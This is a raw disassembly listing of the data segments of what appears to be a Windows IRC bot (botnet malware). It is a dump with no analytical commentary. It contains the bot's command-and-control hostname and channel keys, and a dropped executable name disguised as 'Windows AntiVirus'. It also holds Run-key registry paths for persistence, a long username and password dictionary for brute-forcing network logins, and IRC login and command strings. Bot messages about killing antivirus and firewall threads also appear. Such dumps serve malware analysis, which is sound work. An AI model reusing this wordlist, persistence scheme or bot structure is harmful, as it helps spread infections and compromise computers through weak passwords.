0BEB4h, 1FBB029Dh dd 5533F751h, 77BD0058h, 6D2F1520h, 2120000h, 65A4EFEBh dd 959FADBAh, 23A0000h, 0B015ED2Ch, 3787496Eh, 7E5B57h dd 23B0000h, 6FD034E8h, 99A314E5h, 9C3ABFC3h, 3620000h dd 6BC726AEh, 0B2DD144Bh, 421C8122h, 0CF914B92h, 5D113DF6h dd 0F9FC74B0h, 0ED0000h, 0C273F623h, 5D213C8Fh, 1D4AF582h dd 0ACA6D463h, 8E1D2E97h, 0E9DC89h, 0DDE700EEh, 0A65E3A1Bh dd 0E7E3F65Eh, 0E3E66D86h, 0FA29CF2Ch, 3FB990EAh, 14D00BCh dd 0A48B99E9h, 4D9678F4h, 9FBD7F88h, 0C1F04851h, 0D3404E0Ch dd 14F003Eh, 0B9774296h, 8A774513h, 0C2EF436Ch, 9A7DFBAh dd 764DA5B2h, 0FB20h, 0C6DF0319h, 0D2FE9D9h, 6033CFE2h dd 0F70CB2FBh, 1B10000h, 7A275406h, 44C0313h, 0DD182E6Eh dd 15E0000h, 0BBABE9Ch, 0BC7540A6h, 559174h, 43FA032Ch dd 1709AC7Fh, 5AF20748h, 5A53h, 83500E5h, 2AB66F0Fh, 49ACA593h dd 0BD8F4287h, 6983h, 72C601B2h dd 0B1528CDh, 933B77A7h, 7250B116h, 1B50000h, 81F0780Fh dd 0E054113Dh, 0BF60686Fh, 0BDAFh, 4F6B033Dh, 1691BD15h dd 96794B9Ah, 0F307FA47h, 0A4092CE4h, 9DC37DB7h, 63DD0B5Bh dd 2290069h, 0A8E9B77Dh, 69BE687Dh, 3C91BD4Fh, 2260000h dd 77D873D5h, 305DC6F2h, 73B8778h, 3050000h, 8A72BE3h dd 0D8C53142h, 559EB4C5h, 340000h, 42429977h, 890AED8Eh dd 0B7686B8Bh, 51A2h, 0F8710035h, 764171D6h, 0A777354Ch dd 0CC9AC00Fh, 3080000h, 0EF645614h, 28F62803h, 9DBECA85h dd 48287255h, 11D25E84h, 0D8C2Ah, 0E9753298h, 7781192Dh dd 6F5C28AEh, 0AFh dup(0) seg001 ends ; Section 3. (virtual address 0002A000) ; Virtual size : 000B6000 ( 745472.) ; Section size in file : 000B6000 ( 745472.) ; Offset to raw data for section: 0002A000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg002 segment para public 'CODE' use32 assume cs:seg002 ;org 42A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_42A000 dd 0 ; DATA XREF: sub_41B974+1Fo dd offset loc_40121A dd offset sub_40D6BA dd offset sub_40D739 dd offset dword_40E8D4+1CEh dd offset sub_4269D4 dword_42A018 dd 0 ; DATA XREF: sub_41B974+1Ao dword_42A01C dd 0 ; DATA XREF: sub_41B974+10o dd offset sub_41D242 dd offset sub_42048D dd offset sub_42294B dd offset sub_4249A2 dword_42A030 dd 0 ; DATA XREF: sub_41B974:loc_41B97Fo dword_42A034 dd 0 ; DATA XREF: sub_41B9C3+65o dd offset sub_4229F0 dword_42A03C dd 0 ; DATA XREF: sub_41B9C3:loc_41BA23o dword_42A040 dd 0 ; DATA XREF: sub_41B9C3+76o dd offset sub_4249B3 dword_42A048 dd 2 dup(0) ; DATA XREF: sub_41B9C3:loc_41BA34o dword_42A050 dd 78h ; DATA XREF: seg000:0040107Br dword_42A054 dd 80000002h ; DATA XREF: start+24r off_42A058 dd offset aSoftwareMicr_0 ; DATA XREF: start+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000001h, 42A198h, 80000001h, 42A168h dword_42A06C dd 6272h, 1B9h, 346h ; DATA XREF: seg000:004010CDo ; sub_40F3DD+24o dword_42A078 dd 457h ; DATA XREF: seg000:loc_404653r dword_42A07C dd 45h ; DATA XREF: seg000:00403AF3r ; seg000:0040B964r dword_42A080 dd 7D1h ; DATA XREF: seg000:loc_403BDDr ; seg000:loc_40BD11r dword_42A084 dd 201h ; DATA XREF: seg000:loc_403D52r word_42A088 dw 7C7h ; DATA XREF: seg000:loc_404775r align 4 dword_42A08C dd 1 ; DATA XREF: seg000:0040211Er dd 1 dword_42A094 dd 1 ; DATA XREF: sub_41853D+Cr byte_42A098 db 7Ah ; DATA XREF: seg000:00402541r ; seg000:004025FBr ... align 4 dword_42A09C dd 5 ; DATA XREF: sub_40ABA1+39r ; sub_40ABA1+5Fr ... dword_42A0A0 dd 4 ; DATA XREF: sub_401875+78r ; seg000:00401DB8r ... dword_42A0A4 dd 1 ; DATA XREF: sub_401875+72r ; seg000:00401DB2r aFenr db 'FEnR',0 ; DATA XREF: seg000:00401293o ; seg000:loc_404499o ... align 10h aFenr_0 db 'FEnR',0 ; DATA XREF: seg000:loc_40497Ao align 4 a19736666386888 db '19736666386888',0 ; DATA XREF: seg000:004097A7o ; seg000:0040986Ao align 4 aF_fenr_net db 'f.fenr.net',0 align 4 byte_42A0D4 db 31h ; DATA XREF: sub_4019DB+10r ; sub_4019DB+23o a4771477 db '4771477',0 align 10h aBo db '#Bo',0 ; DATA XREF: sub_4124AD:loc_4124C7o ; sub_4125C4:loc_4125DEo ... aFuckoff db 'fuckoff',0 aIbmcvevvpwy_ex db 'ibmcvevvpwy.exe',0 ; DATA XREF: seg000:00403AE0o ; seg000:0040B987o ... aWinnt99_bat db 'winnt99.bat',0 ; DATA XREF: sub_411D74+3Do aWindowsAntivir db 'Windows AntiVirus oo',0 ; DATA XREF: start+Bo align 10h aLove db 'Love',0 ; DATA XREF: seg000:0040AC1Fo align 4 aWinsys99_dat db 'winsys99.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: seg000:004098EAo align 10h aBo_0 db '#bo-',0 ; DATA XREF: seg000:004037B5o ; seg000:00404B5Fo ... align 4 aBo_1 db '#bo-',0 ; DATA XREF: seg000:00405EB0o align 10h aFa db '#fa',0 ; DATA XREF: seg000:00405BAFo ; seg000:00405CFDo off_42A154 dd offset a@fofo ; DATA XREF: seg000:0040980Ar ; "*@fofo" off_42A158 dd offset aMircV6_16Khale ; DATA XREF: seg000:00402372r ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: seg002:off_42A058o align 4 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A044+28o ; sub_41A36A+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A044+D4o ; sub_41A36A+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dd offset dword_43FDB4 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 8 dword_42A488 dd 10h ; DATA XREF: seg000:004025ABr ; seg000:004025D7r ... aIntranet db 'intranet',0 ; DATA XREF: seg002:0042A474o align 4 aLan db 'lan',0 ; DATA XREF: seg002:0042A46Co aMain db 'main',0 ; DATA XREF: seg002:0042A468o align 4 aWinpass db 'winpass',0 ; DATA XREF: seg002:0042A464o aBlank db 'blank',0 ; DATA XREF: seg002:0042A460o align 4 aOffice db 'office',0 ; DATA XREF: seg002:0042A45Co align 4 aControl db 'control',0 ; DATA XREF: seg002:0042A458o aXp db 'xp',0 ; DATA XREF: seg002:0042A454o align 4 aNokia db 'nokia',0 ; DATA XREF: seg002:0042A450o align 10h aHp db 'hp',0 ; DATA XREF: seg002:0042A44Co align 4 aSiemens db 'siemens',0 ; DATA XREF: seg002:0042A448o aCompaq db 'compaq',0 ; DATA XREF: seg002:0042A444o align 4 aDell db 'dell',0 ; DATA XREF: seg002:0042A440o align 4 aCisco db 'cisco',0 ; DATA XREF: seg002:0042A43Co align 4 aIbm db 'ibm',0 ; DATA XREF: seg002:0042A438o aOrainstall db 'orainstall',0 ; DATA XREF: seg002:0042A430o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: seg002:0042A42Co align 4 aSql db 'sql',0 ; DATA XREF: seg002:0042A428o aSa db 'sa',0 ; DATA XREF: seg002:0042A424o align 10h aDb1234 db 'db1234',0 ; DATA XREF: seg002:0042A420o align 4 aDb1 db 'db1',0 ; DATA XREF: seg002:0042A418o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: seg002:0042A414o align 10h aData db 'data',0 ; DATA XREF: seg002:0042A410o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: seg002:0042A40Co align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: seg002:0042A408o align 4 aDbpass db 'dbpass',0 ; DATA XREF: seg002:0042A404o align 4 aAccess db 'access',0 ; DATA XREF: seg002:0042A400o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: seg002:0042A3F8o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: seg002:0042A3F4o align 10h aDomain db 'domain',0 ; DATA XREF: seg002:0042A3F0o align 4 aHello db 'hello',0 ; DATA XREF: seg002:0042A3ECo align 10h aHell db 'hell',0 ; DATA XREF: seg002:0042A3E8o align 4 aGod db 'god',0 ; DATA XREF: seg002:0042A3E4o aSex db 'sex',0 ; DATA XREF: seg002:0042A3E0o ; seg002:off_43AB60o aSlut db 'slut',0 ; DATA XREF: seg002:0042A3DCo align 4 aBitch db 'bitch',0 ; DATA XREF: seg002:0042A3D8o align 10h aFuck db 'fuck',0 ; DATA XREF: seg002:0042A3D4o align 4 aExchange db 'exchange',0 ; DATA XREF: seg002:0042A3D0o align 4 aBackup db 'backup',0 ; DATA XREF: seg002:0042A3CCo align 4 aTechnical db 'technical',0 ; DATA XREF: seg002:0042A3C8o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: seg002:0042A3C4o align 4 aLogin db 'login',0 ; DATA XREF: seg002:0042A3C0o align 4 aMary db 'mary',0 ; DATA XREF: seg002:0042A3BCo align 4 aKatie db 'katie',0 ; DATA XREF: seg002:0042A3B8o align 4 aKate db 'kate',0 ; DATA XREF: seg002:0042A3B0o align 4 aGeorge db 'george',0 ; DATA XREF: seg002:0042A3ACo align 4 aEric db 'eric',0 ; DATA XREF: seg002:0042A3A8o align 4 aChris db 'chris',0 ; DATA XREF: seg002:0042A3A4o align 4 aIan db 'ian',0 ; DATA XREF: seg002:0042A3A0o aNeil db 'neil',0 ; DATA XREF: seg002:0042A39Co align 4 aLee db 'lee',0 ; DATA XREF: seg002:0042A398o aBrian db 'brian',0 ; DATA XREF: seg002:0042A394o align 4 aSusan db 'susan',0 ; DATA XREF: seg002:0042A38Co align 4 aSue db 'sue',0 ; DATA XREF: seg002:0042A388o aSam db 'sam',0 ; DATA XREF: seg002:0042A384o aLuke db 'luke',0 ; DATA XREF: seg002:0042A380o align 4 aPeter db 'peter',0 ; DATA XREF: seg002:0042A37Co ; seg002:0042A390o align 4 aJohn db 'john',0 ; DATA XREF: seg002:0042A378o align 4 aMike db 'mike',0 ; DATA XREF: seg002:0042A374o align 4 aBill db 'bill',0 ; DATA XREF: seg002:0042A370o align 4 aFred db 'fred',0 ; DATA XREF: seg002:0042A36Co align 4 aJoe db 'joe',0 ; DATA XREF: seg002:0042A368o aJen db 'jen',0 ; DATA XREF: seg002:0042A364o aBob db 'bob',0 ; DATA XREF: seg002:0042A360o ; seg002:0042A3B4o aQwe db 'qwe',0 ; DATA XREF: seg002:0042A35Co aZxc db 'zxc',0 ; DATA XREF: seg002:0042A358o aAsd db 'asd',0 ; DATA XREF: seg002:0042A354o aQaz db 'qaz',0 ; DATA XREF: seg002:0042A350o aWin2000 db 'win2000',0 ; DATA XREF: seg002:0042A34Co aWinnt db 'winnt',0 ; DATA XREF: seg002:0042A348o align 10h aWinxp db 'winxp',0 ; DATA XREF: seg002:0042A344o align 4 aWin2k db 'win2k',0 ; DATA XREF: seg002:0042A340o align 10h aWin98 db 'win98',0 ; DATA XREF: seg002:0042A33Co align 4 aWindows db 'windows',0 ; DATA XREF: seg002:0042A338o aOeminstall db 'oeminstall',0 ; DATA XREF: seg002:0042A334o align 4 aOemuser db 'oemuser',0 ; DATA XREF: seg002:0042A330o aOem db 'oem',0 ; DATA XREF: seg002:0042A32Co aUser db 'user',0 ; DATA XREF: seg000:00406120o ; seg002:0042A328o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: seg002:0042A324o align 4 aHome db 'home',0 ; DATA XREF: seg002:0042A320o align 4 aAccounting db 'accounting',0 ; DATA XREF: seg002:0042A31Co align 10h aAccounts db 'accounts',0 ; DATA XREF: seg002:0042A318o align 4 aInternet db 'internet',0 ; DATA XREF: seg002:0042A314o ; seg002:0042A470o align 4 aWww db 'www',0 ; DATA XREF: seg002:0042A310o aWeb db 'web',0 ; DATA XREF: seg002:0042A30Co aOutlook db 'outlook',0 ; DATA XREF: seg002:0042A308o aMail db 'mail',0 ; DATA XREF: seg002:0042A304o align 10h aQwerty db 'qwerty',0 ; DATA XREF: seg002:0042A300o align 4 aNull_1 db 'null',0 ; DATA XREF: seg002:0042A2FCo align 10h aServer_0 db 'server',0 ; DATA XREF: seg002:0042A2F4o align 4 aSystem db 'system',0 ; DATA XREF: seg002:0042A2F0o align 10h aChangeme db 'changeme',0 ; DATA XREF: seg002:0042A2E8o align 4 aLinux db 'linux',0 ; DATA XREF: seg002:0042A2E4o align 4 aUnix db 'unix',0 ; DATA XREF: seg002:0042A2E0o align 4 aDemo db 'demo',0 ; DATA XREF: seg002:0042A2DCo align 4 aNone db 'none',0 ; DATA XREF: seg002:0042A2D8o align 4 aTest db 'test',0 ; DATA XREF: seg002:0042A2D0o align 4 a2004 db '2004',0 ; DATA XREF: seg002:0042A2CCo align 4 a2003 db '2003',0 ; DATA XREF: sub_41AC18+BAo ; seg002:0042A2C8o align 4 a2002 db '2002',0 ; DATA XREF: seg002:0042A2C4o align 4 a2001 db '2001',0 ; DATA XREF: seg002:0042A2C0o align 4 a2000 db '2000',0 ; DATA XREF: seg002:0042A2BCo align 4 a1234567890 db '1234567890',0 ; DATA XREF: seg002:0042A2B8o align 4 a123456789 db '123456789',0 ; DATA XREF: seg002:0042A2B4o align 4 a12345678 db '12345678',0 ; DATA XREF: seg002:0042A2B0o align 10h a1234567 db '1234567',0 ; DATA XREF: seg002:0042A2ACo a123456 db '123456',0 ; DATA XREF: seg002:0042A2A8o align 10h a12345 db '12345',0 ; DATA XREF: seg002:0042A2A4o align 4 a1234 db '1234',0 ; DATA XREF: seg002:0042A2A0o align 10h a123 db '123',0 ; DATA XREF: seg002:0042A29Co a12 db '12',0 ; DATA XREF: seg002:0042A298o align 4 a1: ; DATA XREF: seg002:0042A294o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: seg002:0042A290o aPwd db 'pwd',0 ; DATA XREF: seg002:0042A28Co aPass_0 db 'pass',0 ; DATA XREF: seg002:0042A288o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: seg002:0042A284o align 4 aPasswd db 'passwd',0 ; DATA XREF: seg002:0042A280o align 10h aPassword db 'password',0 ; DATA XREF: seg002:0042A27Co align 4 aPassword1 db 'password1',0 ; DATA XREF: seg002:0042A278o align 4 aAdm db 'adm',0 ; DATA XREF: seg002:0042A274o aDb2 db 'db2',0 ; DATA XREF: seg002:0042A250o ; seg002:0042A41Co aOracle db 'oracle',0 ; DATA XREF: seg002:0042A24Co ; seg002:0042A434o align 4 aDba db 'dba',0 ; DATA XREF: seg002:0042A248o aDatabase db 'database',0 ; DATA XREF: seg002:0042A244o ; seg002:0042A3FCo align 4 aDefault db 'default',0 ; DATA XREF: seg002:0042A240o ; seg002:0042A2ECo aGuest_0 db 'guest',0 ; DATA XREF: seg002:0042A23Co ; seg002:0042A2D4o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:0042A238o align 4 aTeacher db 'teacher',0 ; DATA XREF: seg002:0042A234o ; seg002:0042A47Co aStudent db 'student',0 ; DATA XREF: seg002:0042A230o ; seg002:0042A478o aOwner db 'owner',0 ; DATA XREF: seg002:0042A22Co align 4 aComputer db 'computer',0 ; DATA XREF: seg002:0042A228o align 4 aRoot db 'root',0 ; DATA XREF: seg002:0042A224o ; seg002:0042A2F8o align 10h aStaff db 'staff',0 ; DATA XREF: seg002:0042A220o ; seg002:0042A480o align 4 aAdmin db 'admin',0 ; DATA XREF: seg002:0042A21Co ; seg002:0042A270o align 10h aAdmins db 'admins',0 ; DATA XREF: seg002:0042A218o ; seg002:0042A26Co align 4 aAdministrat db 'administrat',0 ; DATA XREF: seg002:0042A214o ; seg002:0042A268o aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:0042A210o ; seg002:0042A264o align 4 aAdministrador db 'administrador',0 ; DATA XREF: seg002:0042A20Co ; seg002:0042A260o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:0042A208o ; seg002:0042A25Co align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A164o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A160o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0042A15Co align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_42A158o align 4 a@fofo db '*@fofo',0 ; DATA XREF: seg002:off_42A154o align 4 dd 234032Dh, 75636573h, 2036572h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65722074h, 74736967h, 74207972h dd 61657268h, 65202C64h, 726F7272h, 253C203Ah, 2E3E64h dd 234032Dh, 75636573h, 2036572h, 6552202Dh, 74736967h dd 6D207972h, 74696E6Fh, 6120726Fh, 76697463h, 2E65h, 234032Dh dd 75636573h, 2036572h, 6146202Dh, 64656C69h, 206F7420h dd 72617473h, 65732074h, 65727563h, 72687420h, 2C646165h dd 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 75636573h dd 2036572h, 7953202Dh, 6D657473h, 63657320h, 20657275h dd 696E6F6Dh, 20726F74h, 69746361h, 2E6576h, 234032Dh dd 636F7270h, 2D020373h, 69614620h, 2064656Ch, 73206F74h dd 74726174h, 2F564120h, 6B205746h, 656C6C69h, 68742072h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 636F7270h, 2D020373h, 2F564120h, 4B205746h, 656C6C69h dd 63612072h, 65766974h, 2Eh, 234032Dh, 6E69616Dh, 202D0203h dd 20746F42h, 72617473h, 2E646574h, 0 dd 25207325h, 25222064h, 2273h dword_42AAE4 dd 255C7325h, 73h ; DATA XREF: sub_415B31+7Eo dword_42AAEC dd 73257325h, 0 ; DATA XREF: sub_40FA29+E9o ; sub_40FCD8+4CFo ... unk_42AAF4 db 2Dh ; - ; DATA XREF: sub_401875+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_4019DB+55o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_4019DB+28o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004098F2o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:004098DDo align 4 unk_42AB5C db 2Dh ; - ; DATA XREF: seg000:004098C9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_42AB7C db 2Dh ; - ; DATA XREF: seg000:004098ACo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_42AB9C db 2Dh ; - ; DATA XREF: seg000:00409857o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: seg000:00409834o align 10h unk_42ABF0 db 2Dh ; - ; DATA XREF: seg000:004097EAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: seg000:004097DBo ; seg000:00409848o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: seg000:004097C7o align 10h asc_42AC70: ; DATA XREF: seg000:00409797o unicode 0, <~>,0 unk_42AC74 db 2Dh ; - ; DATA XREF: seg000:00409746o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 unk_42AC98 db 2Dh ; - ; DATA XREF: seg000:004096DCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 10h unk_42ACC0 db 2Dh ; - ; DATA XREF: seg000:00409696o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_42ACE4 db 2Dh ; - ; DATA XREF: seg000:00409676o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_42AD08 db 2Dh ; - ; DATA XREF: seg000:00409659o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_42AD2C db 2Dh ; - ; DATA XREF: seg000:00409635o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 10h dword_42AD50 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: seg000:00409618o dd 2E732520h, 0 unk_42AD6C db 2Dh ; - ; DATA XREF: seg000:loc_4095A2o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_42AD98 db 2Dh ; - ; DATA XREF: seg000:0040959Bo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_42ADBC db 2Dh ; - ; DATA XREF: seg000:loc_40955Eo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_42ADE4 db 2Dh ; - ; DATA XREF: seg000:00409554o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: seg000:0040953Ao unk_42AE10 db 2Dh ; - ; DATA XREF: seg000:00409430o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_42AE38 db 2Dh ; - ; DATA XREF: seg000:loc_409417o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_42AE5C db 2Dh ; - ; DATA XREF: seg000:0040940Do db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_42AE7C db 2Dh ; - ; DATA XREF: seg000:004093E0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42AEA4 db 2Dh ; - ; DATA XREF: seg000:loc_4093C0o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_42AECC db 2Dh ; - ; DATA XREF: seg000:00409395o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_42AEEC db 2Dh ; - ; DATA XREF: seg000:loc_409358o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 